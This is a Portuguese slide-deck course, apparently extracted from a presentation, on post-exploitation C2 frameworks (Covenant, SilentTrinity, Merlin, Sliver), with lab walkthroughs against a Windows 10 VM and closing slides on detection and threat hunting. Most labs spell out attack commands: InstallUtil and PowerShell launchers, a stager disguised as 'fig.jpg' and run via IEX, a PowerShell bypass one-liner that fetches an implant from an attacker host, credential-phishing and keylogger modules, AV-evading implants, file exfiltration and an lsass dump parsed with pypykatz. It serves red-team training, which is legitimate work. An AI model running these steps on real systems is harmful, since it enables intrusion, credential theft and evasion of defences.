Configurar um Listener para receber as conexões dos agentes (Grunts)

Alterar para o IP da interface física do Kali (eth0)


Lab 2
Configurar um Listener para receber as conexões dos agentes (Grunts)
Lab 2
Configurar um Launcher para criar o agente (Grunts) a ser habilitado no
sistema alvo
Lab 2
Vamos configurar um Launcher via installutil.exe. Vai ser criado um
arquivo do tipo DLL que deve ser colocado no alvo
Lab 2
Vamos configurar um Launcher via installutil.exe. Vai ser criado um
arquivo do tipo DLL que deve ser colocado no alvo
Lab 2
• O Covenant vai gerar um arquivo denominado “GruntStager.dll”
• Vamos renomear para “file.dll”
• Fazer o upload para o alvo via meterpreter
Lab 2
• O Covenant vai gerar um arquivo denominado “GruntStager.dll”
• Vamos renomear para “file.dll”
• Fazer o upload para o alvo via meterpreter
Lab 2
Executar o lançador e habilitar o Grunt

\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /u file.dll


Lab 2
O resultado é um Grunt do tipo InstallUtil
Lab 2
Agente (Grunt) instalado no alvo
Lab 2
Interagir com o novo agente (Grunt)
Lab 2
Interagir com o novo agente (Grunt): help
Lab 2
Interagir com o novo agente (Grunt): help <comando>
Lab 2
Interagir com o novo agente (Grunt), executar comandos: shellcmd
Lab 2
Interagir com o novo agente, executar comandos: portscan
Lab 2
Histórico dos comandos executados no agente: Taskings
Lab 2
Captura de Tela: Grunts => Task => ScreenShot
Lab 2
Verificar a captura de tela: Data => Screeshots
Lab 2
Download de arquivos (exfiltration): Grunts => Task => Download
Lab 2
Verificar o arquivo: Data => Downloads
Lab 2
Verificar o arquivo: Data => Downloads
Lab 2
Finalizar o agente: Grunts => Task => Exit
Lab 2
Finalizar o Listener – Stop => Delete
Lab 2
• Parar o container do Covenant
- Ctrl+C
- docker ps -a
- docker rm covenant
Avaliação – Convenant

• Vantagens
- Gratuito
- Apresenta uma gerência web de fácil utilização que facilitar o trabalho da
equipe (Red Team)
- Multiusuário
- Multiplataforma
- Docker
- Vem sendo mantida ativamente pela comunidade
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- Vários tipos de lançadores
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – Convenant

• Desvantagens
- Possui agente somente para a plataforma Windows
- Utiliza poucos protocolos de comunicação (HTTP, HTTPS e SMB)
C2 Frameworks
SilentTrinity
SilentTrinity

• Introdução e análise do framework SilentTrinity


• Entender as principais funcionalidades e características da ferramenta
• Conhecer os principais componentes e módulos
• Testar, na prática, a sua utilização para as atividades de pós-exploração
• Foco em Pentest e Red Team Operations
SilentTrinity
https://github.com/byt3bl33d3r/SILENTTRINITY
SilentTrinity

• Framework de Pós-Exploração para Comando e Controle


(C2), multiusuário e multiservidor
• Baseado em Python 3, IronPython, C#, Boolang e .NET –
BYOI (Bring Your Own Interpreter)
• Evita utilizar unicamente PowerShell, que vem sendo cada
vez mais monitorado e bloqueado
• O servidor de C2 possui uma gerência por linha de comando
intuitiva e prática
• Permite um trabalho em equipe (colaborativo). A
comunicação do usuário com o servidor é sempre cifrada e
realizada via Secure Websocket (WSS)
SilentTrinity

BYOI – Bring Your Own Interpreter


SilentTrinity

• Existem alguns opções de stagers para infectar o alvo. Todos


utilizam a mesma técnica
• Se conectam no Servidor de C2 para receber o payload cifrado
• O payload carrega um código C# em memória, criando o
processo malicioso
• O processo solicita ao servidor de C2 um arquivo ZIP que
contém os arquivos dos interpretadores (Python ou Boolang) a
serem carregados em memória
• O atacante envia os módulos maliciosos (código fonte) para os
interpretadores, que executam as tarefas solicitadas
SilentTrinity
SilentTrinity
• Instalação do SilentTrinity via Git
- cd /opt
- git clone https://github.com/byt3bl33d3r/SILENTTRINITY.git
SilentTrinity
• Instalação do SilentTrinity
- Para não interferir nas bibliotecas do Python 3 do Sistema Operacional e suas
dependências, recomenda-se utilizar um ambiente virtual
- Existem diversas implementações de ambiente virtual. Vamos utilizar o pipenv
- pip3 install pipenv
SilentTrinity
• Instalação do SilentTrinity
- Instalar o pipenv para termos um ambiente virtual para o python
- pip3 install pipenv
SilentTrinity
• Instalação do SilentTrinity
- Criando um ambiente virtual para o SilentTrinity
- cd /opt/SILENTTRINITY
- python3 -m pipenv shell
SilentTrinity
• Instalação do SilentTrinity
- Instalação das dependências (dentro do ambiente virtual)
- pip3 install -r requirements.txt
Lab 3
• Objetivo: testar as principais funcionalidades do framework SilentTrinity
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de uma
aplicação vulnerável (Dup Scout - BOF), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Utilizar o payload meterpreter do Metasploit
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via Powershell Stageless
• Habilitar o agente a partir da execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 3
• Iniciar o servidor de “gerência”. Por padrão, o serviço fica disponível na
porta TCP 5000
- python3 st.py teamserver <endereço_IP> <senha>
Lab 3
• Iniciar o servidor de “gerência”. Por padrão, o serviço fica disponível na
porta TCP 5000
- python3 st.py teamserver <endereço_IP> <senha>
Lab 3
• Iniciar o “cliente”. Pode-se utilizar qualquer nome de usuário
- python3 -m pipenv shell
- python3 st.py cliente wss://<usuário>:<senha>@<endereço_IP>:5000
Lab 3
• Iniciar o “cliente” e se conectar no servidor
- python3 st.py cliente wss://<usuário>:<senha>@<endereço_IP>:5000
- Atenção no valor do fingerprint
Lab 3
• Menu inicial
- help

HELP
Lab 3
Funcionalidade de auto completar os comandos
Lab 3
• Configurar um listener para receber as conexões dos agentes
- listener
- help
Lab 3
• Configurar um listener para receber as conexões dos agentes
- list -a
- Existem 02 opções: HTTP e HTTPS
Lab 3
• Configurar um listener HTTPS
- use https
- options
Lab 3
• Configurar um listener HTTPS
- start
- list
Lab 3
• Configurar um stager
- stagers
- list
Lab 3
• Configurar um stager via Powershell
- use powershell_stageless
- generate https

LISTENER
Lab 3
Será gerado um Powershell Script chamado stager.ps1
Lab 3
Renomear o script para “fig.jpg” e disponibilizar via python web service
Lab 3
• Executar o script para via meterpreter (IEX) para habilitar o agente
- O meterpreter já foi migrado para o explorer.exe
Lab 3
• Verificar a nova sessão estabelecida
- sessions
- list
- info <id_do_agente>

Beacon em Milisegundos
Padrão é de 5 seg
Lab 3
• Configurar o beacon do agente para 1 seg (1000 ms)
- sleep <id_do_agente> 1000
Lab 3
• Verificar os módulos disponíveis
- modules
- list
Lab 3
• Verificar alguns módulos do framework
- use boo/ps
- info
Lab 3
• Executar o módulo boo/ps
- options
- run <id_do_agente>
Lab 3
• Executar comando do sistema operacional
- use boo/shell
- info
Lab 3
• Executar comandos do sistema operacional com o módulo boo/shell
- set Command <comando>
- run <id_do_agente>
Lab 3
• Comandos com argumentos devem ficar entre aspas (duplas ou simples)
- set Command "whoami /priv"
- run <id_do_agente>
Lab 3
• Executar o módulo de alterar o comportamento do mouse J J J J
- use boo/mouseshaker
- info
- run <id_do_agente>
Lab 3
• Capturar credenciais de usuários
- use boo/crephisher
- set MessageText "Sistema de Cadastro"
- run <id_do_agente>
Lab 3
Lab 3
Ótimo módulo para
engenharia social
Lab 3
• Capturar credenciais de usuários
- use boo/crephisher
- set MessageText "Sistema de Cadastro"
- run <id_do_agente>

Credenciais
Capturadas
Lab 3
• Executar um keylogger para capturar o que o usuário digita
- use boo/keylogger
- info
- set Duration 1
- run <id_do_agente>
Lab 3
Lab 3
Executar o módulo boo/keylogger para capturar o teclado
Lab 3
• Eliminar o agente
- sessions
- list
- kill <id_do_agente>
Lab 3
• Parar o listener
- listener
- list
- stop <nome_do_listener>
Avaliação – SilentTrinity
• Vantagens
- Gratuito
- Possui uma interface de linha de comando intuitiva
- Utiliza um método inovador de executar os agentes (BYOI)
- Multiusuário
- Protocolo rápido e cifrado de comunicação entre os usuários e o servidor de
gerência (wss) que facilita a interação entre a equipe
- Utilização de uma linguaguem não muito conhecida (Boo) que pode facilitar
métodos de evasão
- Vem sendo mantida ativamente pela comunidade
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- Vários tipos de lançadores
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – SilentTrinity
• Desvantagens
- Possui agentes somente para Windows
- Possui poucos protocolos de comunicação (HTTP e HTTPS)
- Ferramenta em desenvolvimento que necessita de alguns ajustes
- Não possui uma interface gráfica
C2 Frameworks
Merlin
Merlin

• Introdução e análise do framework Merlin


• Entender as principais funcionalidades e características da ferramenta
• Conhecer os principais componentes e módulos
• Testar, na prática, a sua utilização para as atividades de pós-exploração
• Foco em Pentest e Red Team Operations
Merlin

[1] https://github.com/Ne0nd0g/merlin
Merlin
• Instalação do Merlin
- Pré-requisito
- Instalar o golang
- apt install golang
Merlin
• Instalação do Merlin
- Vamos instalar a última versão de desenvolvimento (dev) do Git
- mkdir /opt/merlin
- cd /opt/merlin
- git clone https://github.com/Ne0nd0g/merlin -b dev
Merlin
• Instalação do Merlin
- Configurar a variável de ambiente GOPATH (apontar para qualquer diretório)
- export GOPATH=$HOME/go (nesse caso /root/go – criar o diretório)
- make
Merlin
• Instalação do Merlin
- Serão gerados os executáveis (servidores e agentes)
- Diretório => /opt/merlin/data/temp/v0.8.0.BETA/<build>
- Copiar o executável do servidor do Linux (merlinServer-Linux-x64) para o
diretório raiz da aplicação “/opt/merlin”
Lab 4
• Objetivo: testar as principais funcionalidades do framework Merlin
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de uma
aplicação vulnerável (Dup Scout - BOF), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Utilizar o payload meterpreter do Metasploit
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via executável
• Habilitar o agente a partir da execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 4
• Iniciar o servidor Linux do Merlin
- cd /opt/merlin
- ./merlinServer-Linux-x64 -h
Lab 4
• Opções de inicialização do servidor do Merlin
- ./merlinServer-Linux-x64 -h
Lab 4
• Iniciar o servidor Linux do Merlin
- ./merlinServer-Linux-x64 -i <ip_do_atacante> -psk <senha>
- Por padrão, o Merlin vai utilizar o protocolo HTTP/2 (h2)
- Por padrão, o Merlin vai utilizar a porta TCP 443 (SSL/TLS)
Lab 4
• Iniciar o servidor Linux do Merlin
- ./merlinServer-Linux-x64 -i <ip_do_atacante> -psk <senha>
- Por padrão, o Merlin vai utilizar o protocolo HTTP/2 (h2)
- Por padrão, o Merlin vai utilizar a porta TCP 443 (SSL/TLS)
- A ferramenta via gerar os certificados necessários para o protocolo (X.509)
Lab 4
• Menu inicial do Merlin
- help
Lab 4
• Preparar o agente do Merlin
- cd /opt/merlin
- Os executáveis ficam na pasta /opt/merlin/data/temp/<versão>/<id>
- Escolher a versão correta para o alvo “merlinAgent-Windows-x64.exe”
- Copiar para o diretório “/root” renomeando para “merlin.exe”
- cp -v merlinAgent-Windows-x64.exe /root/merlin.exe
Lab 4
• Fazer o upload do agente “merlin.exe” para o alvo via meterpreter
- Colocar na pasta “c:\users\suporte\downloads”
Lab 4
• Verificar as opções de execução do agente
- merlin.exe -h
Lab 4
• Para executar o agente
- Configurar a Pre-Shared Key (-psk) corretamente
- Configurar o servidor de C2 (-url)
- Podemos alterar o tempo do beacon (-sleep). O padrão são 30 seg
- Habilitar o modo verboso (-v) para análise
Lab 4
• Executar o agente com as devidas configurações
- merlin.exe -v -sleep 5s -url https://<ip_do_atacante>:443 -psk <senha>
Lab 4
• No servidor do Merlin temos a indicação da conexão do agente
- sessions
- agent list
Lab 4
• Interagir com o agente
- interact <tab>
- interact <id_do_agente>
Lab 4
• Comandos disponíveis para o agente
- help
Lab 4
• Informações sobre o agente
- info

Jitter
Lab 4
• Execução de comandos básicos (built-in)
- pwd
- ls
Lab 4
Todo o tráfego está cifrado (TLS) – wireshark
Lab 4
• Alterar o tempo do beacon do agente
- set sleep <tempo_em _segundos>
- info
Lab 4
• Execução de comandos do sistema operacional do alvo
- shell <comando>
Lab 4
• Download de arquivos
- Tem que escapar o “\” com “\\”
- download "c:\\users\\suporte\\desktop\\info.pdf"
Lab 4
• Download de arquivos
- /opt/merlin/data/agents/<id_do_agente>
Lab 4
• Utilização de módulos
- back
- use module <tab> <tab>
Lab 4
• Informações sobre o módulo
- use module <nome_do_modulo>
- info
Lab 4
• Opções de configuração do módulo
- use module <nome_do_modulo>
- show options
Lab 4
• Configurar o agente correto para o módulo Get-OSTokenInformation
- set Agent <id_do_agente> OU set Agent all
- run

ERRO NA
EXECUÇÃO
Lab 4
• Os módulos no Merlin ficam na pasta “data/modules/”
• Eles são escritos em JSON
• Vamos analisar o módulo Get-OSTokenInformation
- cd /opt/merlin/data/modules/windows/x64/powershell
Lab 4
• Analisando o módulo Get-OSTokenInformation
- vim /opt/merlin/data/modules/windows/x64/powershell/enumaration/Get-OSTokenInformation.json
Lab 4
• Analisando o módulo Get-OSTokenInformation
- vim /opt/merlin/data/modules/windows/x64/powershell/enumaration/Get-OSTokenInformation.json

É realizada uma chamada a


um Powershell script em um
endereço na Internet
Lab 4
• Podemos criar o nosso próprio módulo
• Vamos criar um módulo que faz um scan de portas via powershell script
• Para isso, utilizaremos, como modelo, um script pronto do framework Nishang
• Os scripts estão no Kali no diretório “/opt/nishang”
• Vamos utilizar o script Invoke-PortScan.ps1 (/opt/nishang/Scan)
Lab 4

[1] https://github.com/samratashok/nishang
Lab 4
• Fazer uma cópia do Invoke-PortScan.ps1 chamada scan.ps1
• Colocar a cópia no diretório “/tmp” e adicionar a seguinte linha no final
- Invoke-PortScan -StartAddress 172.16.210.10 -EndAddress 172.16.210.10 –ScanPort
• Disponibilizar via python web service
Lab 4

• O nosso módulo vai se chamar “portscan.json” e vai ficar no diretório


“enumeration”
• Vamos utilizar como modelo para o novo módulo um outro módulo
chamado “dumpCredStore.json” localizado na pasta “credentials” do
Merlin
• Basicamente, precisamos alterar os parâmetros “path” e “commands”
• O módulo “portscan.json” fará uma chamado ao powershell script
customizado “scan.ps1” via IEX
Lab 4

portscan.json
Lab 4
• Utilizar o novo módulo
- back
- use module windows/x64/powershell/enumeration/portscan
Lab 4
• Utilizar o novo módulo
- set Agent <id_do_agente>
- run
Lab 4
• Eliminar o agente
- back
- interact <id_do_agente>
- kill
Avaliação – Merlin
• Vantagens
- Gratuito
- Multiplataforma
- Possui uma interface de linha de comando intuitiva
- Escrito em Go o que auxilia no desempenho da ferramenta
- Vem sendo mantida ativamente pela comunidade
- Fácil customização (flexível)
- Modular (fácil construção de módulos)
- Vários protocolos de comunicação de difícil detecção (HTTP, HTTPS, HTTP2,
HTTP3)
- Possui agentes para os principais Sistemas Operacionais
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – Merlin
• Desvantagens
- Não é multiusuário
- Não possui um interface gráfica
- Os agentes são executados por binários que podem ter uma assinatura de AV
- Ferramenta em desenvolvimento
C2 Frameworks
Sliver
Sliver

• Introdução e análise do framework Sliver


• Entender as principais funcionalidades e características da ferramenta
• Conhecer os principais componentes e módulos
• Testar, na prática, a sua utilização para as atividades de pós-exploração
• Foco em Pentest e Red Team Operations
Sliver

[1] https://github.com/BishopFox/sliver
Sliver
• Instalação do Sliver
- mkdir /opt/sliver
- cd /opt/sliver
- wget https://github.com/BishopFox/sliver/releases/download/v0.0.6-alpha/sliver-
server_linux.zip
- 7z x sliver-server_linux.zip
- apt install mingw-w64 binutils-mingw-w64 g++-mingw-w64
Sliver
• Execução do Sliver (servidor)
- cd /opt/sliver
- ./sliver-server
Lab 5
• Objetivo: testar as principais funcionalidades do framework Sliver
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de uma
aplicação vulnerável (Dup Scout - BOF), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Utilizar o payload reverse shell do Metasploit
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via executável ofuscado
• Habilitar o agente a partir da execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 5

• Para esse módulo, vamos elevar um pouco a dificuldade. O alvo vai estar
com o Windows Defender bem atualizado (14/05/2020)
• Vamos testar algumas funcionalidade do Sliver em um cenário mais
restrito e verificar o comportamento da ferramenta e do alvo
• Diferente dos últimos laboratórios, não vamos fazer uso do meterpreter,
vamos utilizar o payload simples de um reverse shell
• Lembrando que o Sliver gera um executável para o agente utilizando
técnicas de ofuscação de funções, com o objetivo de evadir/enganar os
sistemas de antivírus
Lab 5

Verificando o estado de
atualização Windows Defender
Lab 5
Lab 5
Lab 5
• Acesso inicial com um reverse shell do Metasploit
- msfconsole -q -r c2/dup.rc
Lab 5
• Acesso inicial com um reverse shell do Metasploit
- msfconsole -q -r c2/dup.rc
Lab 5
• Iniciando o Sliver Server
- cd /opt/sliver
- ./sliver-server
Lab 5
• Verificando os comandos disponíveis
- help
Lab 5
• Vamos utilizar o protocolo mtls
- help mtls
- mtls

Por padrão, o protocolo mtls habilita


um listener na porta TCP 8888
Lab 5
• Gerar o implante (implant)
- generate --mtls 172.16.210.200 --save /opt/sliver
Lab 5
• Renomear o binário para “sys.exe” e fazer o upload no alvo
- cd /tmp
- cp -v /opt/sliver/DEFINITE_READING.exe sys.exe
• Habilitar o python web service
• python3 -m http.server 8080
Lab 5
• No shell do alvo, alterar o diretório para fazer o upload do agente
- cd \users\suporte\downloads
Lab 5
Upload do agente via powershell (wget)

powershell -nop -exe bypass -c "wget 'http://172.16.210.200:8080/sys.exe' -outfile sys.exe"


Lab 5
Lab 5
• Executar o agente no alvo e receber a conexão
- sys.exe (ou somente sys)
Lab 5
• Verificar o agente
- use <nr_do_agente>
- info
Lab 5
• Executar alguns comando do agente (sliver)
- help
Lab 5
• Executar alguns comando do agente (built-in)
- whoami
- pwd
- ls
Lab 5
• Iniciar um shell interativo. Não é recomendável numa operação real
- help shell
- shell

Para sair do shell, executar


o comando “exit” e em
seguida Ctrl+D
Lab 5

• Num cenário real, alguns comandos e procedimentos podem alertar a


equipe de defesa do alvo
• Vamos tentar extrair credenciais da memória, contudo, não vamos
executar o Mimikatz diretamente no alvo
• Para isso, utilizaremos uma abordagem mais stelthy
• Fazer o dump do processo lsass
• Executar o Mimikatz localmente no Kali, no dump do processo lsass,
com o uso ferramenta pypykatz
Lab 5
Verificar o número do process (PID) lsass.exe => ps
Lab 5
• Fazer o dump do processo lsass.exe
- help procdump
- procdump -p <pid_do_lsass>

O dump é gerado no diretório


“/tmp” do Kali
Lab 5

[1] https://github.com/skelsec/pypykatz
Lab 5
Verficar os comandos do pypykatz
Lab 5
• Executar o pypykatz no dump do processo
- pypykatz lsa minidump <nome_do_arquivo_dump>
Lab 5
• Eliminar o agente (sliver)
- kill
Avaliação – Sliver
• Vantagens
- Gratuito
- Multiplataforma
- Multiusuário
- Possui uma interface de linha de comando intuitiva
- Escrito em Go o que auxilia no desempenho da ferramenta
- Vem sendo mantida ativamente pela comunidade
- Vários protocolos de comunicação de difícil detecção (HTTPS, MTLS, DNS)
- Possui agentes para os principais Sistemas Operacionais
- Ofuscação do binário do agente para evasão de AV
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – Sliver
• Desvantagens
- Não possui um interface gráfica
- Ferramenta em desenvolvimento
C2 Matrix
https://www.thec2matrix.com
C2 Matrix
https://www.thec2matrix.com
C2 Matrix
https://www.thec2matrix.com
Bem x Mal
Ameaças Tradicionais
Ameaças Tradicionais
APT – Advanced Persistent Threat
Contra APT
SOC – CSIRT – BLUE TEAM
Defesa – Nova Postura

• “PREVENTION IS IDEAL BUT DETECTION IS A MUST !!”


• Não se trata de “SE” mas “QUANDO” sua organização for
comprometida
• “Assumed Breach”
• Aceitar que o adversário sempre é capaz de comprometer o alvo
• Postura Tradicional: Foco na Prevenção
• Postura Atual: Foco na Detecção e Resposta
• Evitar que o adversário tenha sucesso – alcance o objetivo final
Detecção Proativa

• Não esperar por alertas gerados pelas ferramentas de segurança


• Considerar a hipótese de comprometimento
• Procurar por evidências de comprometimento
• Detectar rastros de atividades maliciosas (post-exploitation)
• Passar de uma rápida detecção para uma resposta igualmente
rápida antes de um dano ou impacto maior
• Threat Hunting
Análise do Tráfego – Beacon
Análise do Tráfego
Análise do Tráfego
Análise do Tráfego
Análise do Log do Sistema
Análise do Log do Sistema
Detecção e Resposta

üAnálise do tráfego de rede


üLog de Firewall
üLog do Proxy
üCentralizar os logs dos ativos de rede/segurança
üNetflow
üAnálise do Log do Sistema Alvo
üAnálise de Memória
LAIOS FELIPE BARBOSA
• @laios_barbosa
• Laios Barbosa

Você também pode gostar